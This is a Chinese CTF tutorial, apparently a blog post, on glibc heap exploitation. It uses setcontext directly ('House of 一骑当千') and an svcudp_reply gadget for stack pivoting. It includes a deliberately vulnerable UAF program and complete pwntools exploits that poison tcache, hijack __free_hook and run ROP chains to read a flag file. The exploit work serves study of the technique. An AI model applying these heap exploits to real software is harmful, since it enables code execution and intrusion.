house of 一骑当千&&svcudp_reply

house of 一骑当千&&svcudp_reply

原理

通常我们利用 setcontext + 53 通过 rdi 指向的内存给寄存器赋值,但是从 glibc-2-29 开始,setcontext 通过 rdx 指向的内存给寄存器赋值。

通常情况可以采用 gadget 对 rdx 赋值然后跳转到 setcontext gadget 继续执行,但使用 gadget 需要我们能控制 rdi 寄存器指向的内存的前几个字节,并且未来的 glibc 的 setcontext 也可能不再使用 rdx 寄存器。

因此我们需要一个通用的方法比如直接调用 setcontext 函数对寄存器赋值,而这中直接调用 setcontext 的方法就是 House of 一骑当千。

这种方法是看雪中的一个师傅,国资社畜师傅提出来的一种利用方式

这种方式是为了防止以后的setcontext函数,不止从rdi改到rdx,甚至改写成rcx,r15,到那时仅仅依靠一些gadget恐怕难以再次利用,而house of 一骑当千就是利用setcontext本身对其进行赋值

setcontext 函数原型为 int setcontext(const ucontext_t *ucp) ,其中 ucontext_t 结构体定义如下:

struct _libc_fpstate
{
  /* 64-bit FXSAVE format.  */
  __uint16_t        __ctx(cwd);
  __uint16_t        __ctx(swd);
  __uint16_t        __ctx(ftw);
  __uint16_t        __ctx(fop);
  __uint64_t        __ctx(rip);
  __uint64_t        __ctx(rdp);
  __uint32_t        __ctx(mxcsr);
  __uint32_t        __ctx(mxcr_mask);
  struct _libc_fpxreg   _st[8];
  struct _libc_xmmreg   _xmm[16];
  __uint32_t        __glibc_reserved1[24];
};



/* Userlevel context.  */
typedef struct ucontext_t
  {
    unsigned long int __ctx(uc_flags);
    struct ucontext_t *uc_link;
    stack_t uc_stack;
    mcontext_t uc_mcontext;
    sigset_t uc_sigmask;
    struct _libc_fpstate __fpregs_mem;
    __extension__ unsigned long long int __ssp[4];
  } ucontext_t;

而这个原型函数只有一个参数,那么这个参数一定是位于rdi寄存器,如果这样的话,那以后不论再依靠什么寄存器,只要我们从原始函数入手,那么就永远会是rdi寄存器

回到题目中,我们普遍是将setcontext函数与frame结构体一同利用,而这个结构体其实就是上面的源代码中的一部分

而这个函数是由汇编所写,除了信号量系统调(__NR_rt_sigprocmask)用外,无非就是一些赋值操作。在setcontext函数中,除了对mcontext_t uc_mcontext; sigset_t uc_sigmask; struct _libc_fpstate __fpregs_mem __ssp这4个进行操作外,并没有对其他部分操作,也就是我们可以不关心其他的值。

那我们就需要重点看着四个部分

uc_mcontext

/* Context to describe whole processor state.  */
typedef struct
  {
    gregset_t __ctx(gregs);
    /* Note that fpregs is a pointer.  */
    fpregset_t __ctx(fpregs);
    __extension__ unsigned long long __reserved1 [8];
} mcontext_t;

这个就是存储寄存器的结构体,也是我们平时setcontext+53所使用的地方。有关数据设置和传统利用setcontext+53时一样即可。

__fpregs_mem

这个所对应的步骤为setcontext中的如下内容,作用使加载浮点环境,需要可写。偏移为0xe0

注意 fpregs 指针需要指向一块可读写内存。

/* Restore the floating-point context.  Not the registers, only the
       rest.  */
    movq    oFPREGS(%rdx), %rcx
    fldenv    (%rcx)

uc_sigmask

这个主要是负责信号量,经测试全是0就可以,当然也可以使用其他程序拷贝过来的信号量。

__ssp

这个所对应的步骤为setcontext中的如下内容,作用使加载 MXCSR 寄存器,经测试0也行,偏移为0x1c0

题目

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

这是题目使用的源代码,大家可以自行编译,题目存在uaf,所以泄露地址和劫持free_hook就不再多说

from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')

elf = ELF("./pwn")
libc = ELF("libc.so.6")
io = process(["/home/gets/pwn/study/heap/setcontext/house of 一骑当千/ld-linux-x86-64.so.2", "./pwn"],
            env={"LD_PRELOAD":"/home/gets/pwn/study/heap/setcontext/house of 一骑当千/libc.so.6"})

def dbg():
    gdb.attach(io)

def add(index, size):
    io.sendafter("choice:", "1")
    io.sendafter("index:", str(index))
    io.sendafter("size:", str(size))


def free(index):    
    io.sendafter("choice:", "2")
    io.sendafter("index:", str(index))


def edit(index, content):
    io.sendafter("choice:", "3")
    io.sendafter("index:", str(index))
    io.sendafter("length:", str(len(content)))
    io.sendafter("content:", content)


def show(index):
    io.sendafter("choice:", "4")
    io.sendafter("index:", str(index))

add(0, 0x500)
add(1, 0x18)

free(0)
show(0)
libc.address = u64(io.recvuntil('\x7F')[-6:].ljust(8, b'\x00')) - 0x3b6be0
info("libc base: " + hex(libc.address))

add(0, 0x400)
add(1, 0x400)
free(1)
free(0)
edit(0, p64(libc.sym['__free_hook']))
add(1, 0x400)
add(0, 0x400)#free_hook

随后我们指定一个buf的地址,这个地址是free_hook加0x100,我们是要将其放上flag字符串,从free_hook到buf之间吗,放上我们的orw链

buf_addr = libc.sym['__free_hook'] + 0x100
frame = SigreturnFrame()
frame.rsp = libc.sym['__free_hook'] + 8
frame.rip = libc.symbols['open']
frame.rdi = buf_addr
frame.rsi = 0
frame['&fpstate'] = libc.address + 0x3b8000 + 0x1000
frame = bytes(frame)

然后写我们的frame结构体,这个结构体起到open的效果,同时栈迁移到free_hook-8的地方,和正常的写法不一样的是,我们需要额外写一行frame['&fpstate'] = libc.address + 0x3b8000 + 0x1000,后面的这个地址就是随意找的一段可读写的位置,可以使用vmmap去寻找

然后写入payload到free_hook

payload = b''
payload += p64(libc.sym['setcontext'])
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(3)
payload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(next(libc.search(asm('pop rdx; ret;'), executable=True)))
payload += p64(0x100)
payload += p64(libc.symbols['read'])
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(libc.symbols['puts'])
payload = payload.ljust(0x100, b'\x00')
payload += './flag\x00'

payload的第一行写上setcontext函数,不需要加53或者61,后面写上rop链,然后向某个堆块写入frame结构体,把它free掉,我们跟着gdb看看

edit(0,payload)
edit(1,frame)
free(1)

程序在free的时候,先执行free hook里面填入的setcontext函数,跳转到里面

而由于我们free的堆块里面填入的是frame结构体,所以这个时候rdi指向这个结构体

而在最开始,执行push rdi语句,把这个堆块地址压入栈中,后续执行了pop rdx,这个时候rdx里面就会放上我们的堆块地址

注意看这个时候的栈

而一直执行到下面两句的时候

0x7fa706895d15 <setcontext+37>    mov    rcx, qword ptr [rdx + 0xe0]     RCX, [0x555556554380] => 0x7fa706c08000 (rdata) ◂— 0
0x7fa706895d1c <setcontext+44>    fldenv [rcx]

我们rdx加0xe0的位置,就是上面写的frame结构体多出来的那句,而fldenv语句我们不需要知道,我们只需要知道,这个时候的rcx里面是一段可读写的内存就可以平稳过渡掉这一句

再然后就是正常会执行orw,那么这个方法其实就是放弃一些gadget,而去使用setcontext本身进行利用,而这种方法其实是更加极限的利用手段,防止常用的两个gadget没有了或者后续改成别的寄存器

当然,除了setcontext之外,也有师傅发现了另一个可以起到类似作用的函数,svcudp_reply

svcudp_reply

还是上面这道题,我们先来看一下这个函数

pwndbg> u &svcudp_reply 30
  0x7fa90f6fef20 <svcudp_reply>        push   r15
   0x7fa90f6fef22 <svcudp_reply+2>      push   r14
   0x7fa90f6fef24 <svcudp_reply+4>      push   r13
   0x7fa90f6fef26 <svcudp_reply+6>      mov    r13, rsi
   0x7fa90f6fef29 <svcudp_reply+9>      xor    esi, esi                        ESI => 0
   0x7fa90f6fef2b <svcudp_reply+11>     push   r12
   0x7fa90f6fef2d <svcudp_reply+13>     push   rbx
   0x7fa90f6fef2e <svcudp_reply+14>     mov    rbx, rdi
   0x7fa90f6fef31 <svcudp_reply+17>     push   rbp
   0x7fa90f6fef32 <svcudp_reply+18>     sub    rsp, 0x18
   0x7fa90f6fef36 <svcudp_reply+22>     mov    rbp, qword ptr [rdi + 0x48]
   0x7fa90f6fef3a <svcudp_reply+26>     mov    rax, qword ptr [rbp + 0x18]
   0x7fa90f6fef3e <svcudp_reply+30>     lea    r12, [rbp + 0x10]
   0x7fa90f6fef42 <svcudp_reply+34>     mov    dword ptr [rbp + 0x10], 0
   0x7fa90f6fef49 <svcudp_reply+41>     mov    rdi, r12
   0x7fa90f6fef4c <svcudp_reply+44>     call   qword ptr [rax + 0x28]
   0x7fa90f6fef4f <svcudp_reply+47>     mov    rax, qword ptr [rbp + 8]
   0x7fa90f6fef53 <svcudp_reply+51>     mov    rsi, r13
   0x7fa90f6fef56 <svcudp_reply+54>     mov    rdi, r12
   0x7fa90f6fef59 <svcudp_reply+57>     mov    qword ptr [r13], rax
   0x7fa90f6fef5d <svcudp_reply+61>     call   xdr_replymsg@GLIBC_2.2.5    <xdr_replymsg@GLIBC_2.2.5>

   0x7fa90f6fef62 <svcudp_reply+66>     test   eax, eax
   0x7fa90f6fef64 <svcudp_reply+68>     je     svcudp_reply+128            <svcudp_reply+128>

   0x7fa90f6fef66 <svcudp_reply+70>     mov    rax, qword ptr [rbp + 0x18]
   0x7fa90f6fef6a <svcudp_reply+74>     mov    rdi, r12
   0x7fa90f6fef6d <svcudp_reply+77>     call   qword ptr [rax + 0x20]
   0x7fa90f6fef70 <svcudp_reply+80>     cmp    qword ptr [rbx + 0x78], 0
   0x7fa90f6fef75 <svcudp_reply+85>     movsxd r12, eax
   0x7fa90f6fef78 <svcudp_reply+88>     mov    r13, r12
   0x7fa90f6fef7b <svcudp_reply+91>     jne    svcudp_reply+152            <svcudp_reply+152>

   0x7fa90f6fef7d <svcudp_reply+93>     mov    rsi, qword ptr [rbx + 0x40]
   0x7fa90f6fef81 <svcudp_reply+97>     mov    r9d, dword ptr [rbx + 0x10]
   0x7fa90f6fef85 <svcudp_reply+101>    xor    ecx, ecx                        ECX => 0
   0x7fa90f6fef87 <svcudp_reply+103>    lea    r8, [rbx + 0x14]
   0x7fa90f6fef8b <svcudp_reply+107>    mov    edi, dword ptr [rbx]
   0x7fa90f6fef8d <svcudp_reply+109>    nop
   0x7fa90f6fef8e <svcudp_reply+110>    mov    rdx, r12
   0x7fa90f6fef91 <svcudp_reply+113>    call   sendto                      <sendto>

   0x7fa90f6fef96 <svcudp_reply+118>    cmp    eax, r13d
   0x7fa90f6fef99 <svcudp_reply+121>    je     svcudp_reply+183            <svcudp_reply+183>

   0x7fa90f6fef9b <svcudp_reply+123>    nop    dword ptr [rax + rax]
   0x7fa90f6fefa0 <svcudp_reply+128>    xor    eax, eax                        EAX => 0
   0x7fa90f6fefa2 <svcudp_reply+130>    add    rsp, 0x18
   0x7fa90f6fefa6 <svcudp_reply+134>    pop    rbp
   0x7fa90f6fefa7 <svcudp_reply+135>    pop    rbx
   0x7fa90f6fefa8 <svcudp_reply+136>    pop    r12
   0x7fa90f6fefaa <svcudp_reply+138>    pop    r13
   0x7fa90f6fefac <svcudp_reply+140>    pop    r14
   0x7fa90f6fefae <svcudp_reply+142>    pop    r15
   0x7fa90f6fefb0 <svcudp_reply+144>    ret

这里没有放完,我们需要注意的就是从+22一直到+44的这几个gadget,它同样可以同时完成程序执行流劫持和栈迁移

这个 gadget 在不同的 libc 中使用的寄存器不同,具体视情况而定。比如有的 libc 使用的是 rbx 而不是 rbp 导致无法栈迁移实现对程序执行流程的连续劫持。

利用这个gadget,通过rdi控制rbp进而控制rax并执行跳转,只需要在rax + 0x28的位置设置leave; ret即可完成栈迁移.

我们直接从free_hook劫持成功开始写,看看怎么利用

由于这个部分只起到栈迁移的作用,所以我们的payload是包含orw三个部分

payload_addr = libc.sym['__free_hook']
buf_addr = payload_addr + 0x100
rax_addr = payload_addr + 0xb0

payload = b''
payload += p64(libc.sym['svcudp_reply'] + 22)
payload += p64(next(libc.search(asm('pop r14; pop r15; ret;'), executable=True)))
payload += b'a' * 8 
payload += p64(rax_addr)
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
payload += p64(0)
payload += p64(libc.sym['open'])
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(3)
payload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(next(libc.search(asm('pop rdx; ret;'), executable=True)))
payload += p64(0x100)
payload += p64(libc.sym['read'])
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(libc.sym['puts'])
assert len(payload) <= rax_addr - payload_addr
payload = payload.ljust(rax_addr - payload_addr, b'\x00')
payload += b'b' * 0x28
payload += p64(next(libc.search(asm('leave; ret;'), executable=True)))
payload = payload.ljust(0x100, b'\x00')
payload += b"./flag\x00"

edit(0, payload)
edit(1, b'c' * 0x48 + p64(libc.sym['__free_hook']))
free(1)

我们先放好exp,然后gdb动态调试告诉大家为什么这么写

把payload放进free_hook之后,我们会先跳转到svcudp_reply+22这个位置

那么这个时候,会把rdi+0x48的位置取出来给到rbp,而我们rdi指向的是1号堆块,也就是edit(1, b'c' * 0x48 + p64(libc.sym['__free_hook']))这一句,加0x48的位置就是我们的free_hook地址

*RBP  0x7fa90f993e48 (__free_hook) —▸ 0x7fa90f6fef36 (svcudp_reply+22) ◂— mov rbp, qword ptr [rdi + 0x48]

可以看到,此时的栈底就被放在了free_hook的位置,然后执行mov rax, qword ptr [rbp + 0x18],这个时候的rbp就是free_hook,加上0x18刚好是我们payload中的那句p64(rax_addr),随后执行call qword ptr [rax + 0x28],也就是执行rax_addr+0x28的位置,而这个位置其实就是payload里面28个b之后的leave ret语句

然后就会进行栈迁移,迁移到我们的payload的第二句,而这里面要放上两句pop,随意寄存器都可以,目的是为了把后面的8个字节的垃圾数据和rax_addr给弹出栈,防止后续的执行,再后面就会依次执行orw,最后成功获得flag

最后附上完整的exp

from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')

elf = ELF("./pwn")
libc = ELF("libc.so.6")
io = process(["/home/gets/pwn/study/heap/setcontext/svcudp_reply/ld-linux-x86-64.so.2", "./pwn"],
            env={"LD_PRELOAD":"/home/gets/pwn/study/heap/setcontext/svcudp_reply/libc.so.6"})

def dbg():
    gdb.attach(io)

def add(index, size):
    io.sendafter("choice:", "1")
    io.sendafter("index:", str(index))
    io.sendafter("size:", str(size))


def free(index):    
    io.sendafter("choice:", "2")
    io.sendafter("index:", str(index))


def edit(index, content):
    io.sendafter("choice:", "3")
    io.sendafter("index:", str(index))
    io.sendafter("length:", str(len(content)))
    io.sendafter("content:", content)


def show(index):
    io.sendafter("choice:", "4")
    io.sendafter("index:", str(index))

add(0, 0x500)
add(1, 0x18)

free(0)
show(0)
libc.address = u64(io.recvuntil('\x7F')[-6:].ljust(8, b'\x00')) - 0x3b6be0
info("libc base: " + hex(libc.address))

add(0, 0x400)
add(1, 0x400)
free(1)
free(0)
edit(0, p64(libc.sym['__free_hook']))
add(1, 0x400)
add(0, 0x400)#free_hook

payload_addr = libc.sym['__free_hook']
buf_addr = payload_addr + 0x100
rax_addr = payload_addr + 0xb0

payload = b''
payload += p64(libc.sym['svcudp_reply'] + 22)
payload += p64(next(libc.search(asm('pop r14; pop r15; ret;'), executable=True)))
payload += b'a' * 8 
payload += p64(rax_addr)
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
payload += p64(0)
payload += p64(libc.sym['open'])
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(3)
payload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(next(libc.search(asm('pop rdx; ret;'), executable=True)))
payload += p64(0x100)
payload += p64(libc.sym['read'])
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(libc.sym['puts'])
assert len(payload) <= rax_addr - payload_addr
payload = payload.ljust(rax_addr - payload_addr, b'\x00')
payload += b'b' * 0x28
payload += p64(next(libc.search(asm('leave; ret;'), executable=True)))
payload = payload.ljust(0x100, b'\x00')
payload += b"./flag\x00"

edit(0, payload)

edit(1, b'c' * 0x48 + p64(libc.sym['__free_hook']))
free(1)
io.interactive()
0 条评论
某人
表情
可输入 255